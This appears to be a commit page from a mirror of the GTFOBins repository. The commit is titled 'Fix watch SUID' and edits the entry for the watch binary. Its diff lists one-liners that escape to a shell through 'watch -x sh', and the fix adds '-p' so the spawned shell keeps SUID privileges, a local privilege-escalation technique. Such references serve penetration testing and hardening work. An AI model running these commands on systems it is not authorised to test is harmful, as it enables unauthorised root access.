mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
Fix watch SUID
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
0df54898d8
commit
a724262b74
@ -4,7 +4,7 @@ functions:
|
||||
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
|
||||
suid:
|
||||
- description: This keeps the SUID privileges only if the `-x` option is present.
|
||||
code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
|
||||
code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
|
||||
sudo:
|
||||
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
|
||||
limited-suid:
|
||||
|
Loading…
Reference in New Issue
Block a user